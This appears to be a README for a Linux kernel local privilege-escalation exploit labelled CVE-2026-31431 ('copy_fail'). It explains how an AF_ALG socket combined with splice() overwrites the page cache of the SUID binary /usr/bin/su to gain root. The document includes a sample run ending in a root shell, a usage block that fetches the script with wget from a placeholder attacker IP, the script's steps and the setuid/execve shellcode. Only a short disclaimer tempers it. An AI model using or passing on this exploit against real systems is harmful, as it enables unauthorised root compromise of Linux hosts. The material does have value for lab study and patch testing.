CVE-2026-31431 - copy_fail shell

Local privilege escalation via AF_ALG socket + splice() page-cache overwrite.

Overwrites a read-only SUID binary (/usr/bin/su) with a minimal ELF that calls setuid(0) + execve("/bin/sh"). No race condition, no per-distro offsets, single shot.

$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 is in the vulnerable window (4.9 – 6.18) — proceeding
[*] Compiling...
[+] Compiled OK — launching

# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)

Vulnerability

The Linux kernel's AF_ALG (crypto API) socket, combined with splice(), allows a write into a file opened O_RDONLY by manipulating the page cache. The kernel skips the write-permission check on the copy-on-write shortcut inside the ALG socket's splice path — the same class of bug as Dirty Pipe (CVE-2022-0847) but triggered via a different code path introduced in kernel 4.9.

Affected versions

Tested

Requirements

• Local shell on target (any privilege level)
• gcc available on target
• Write access to /tmp
• x86-64 architecture

Usage

# On target
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh

The script will:

1. Check if the running kernel is in the vulnerable range
2. Compile the embedded C exploit on the target (no zlib dependency)
3. Overwrite /usr/bin/su with the root shell payload
4. Execute it

How it works

AF_ALG socket (AEAD)
      │
      │  sendmsg() with crafted ancillary data (ALG_SET_OP / ALG_SET_IV)
      │
      ▼
  op_fd (operation socket)
      ▲
      │  splice(): file_fd → pipe → op_fd
      │
/usr/bin/su (O_RDONLY)

The kernel's splice path inside the ALG socket skips the copy-on-write permission check, writing directly into the page cache of the target file despite it being opened read-only. The payload (a 160-byte ELF) is written 4 bytes at a time across 40 iterations.

Payload shellcode:

xor  eax, eax
xor  edi, edi            ; uid = 0
mov  al,  105            ; SYS_setuid
syscall                  ; setuid(0)
lea  rdi, [rip+0xf]      ; -> "/bin/sh"
xor  esi, esi            ; argv = NULL
push 59  /  pop rax      ; SYS_execve
cdq                      ; envp = NULL
syscall                  ; execve("/bin/sh", NULL, NULL)

Files

Disclaimer

For authorized security testing and CTF/lab environments only. Do not use against systems you do not own or have explicit written permission to test.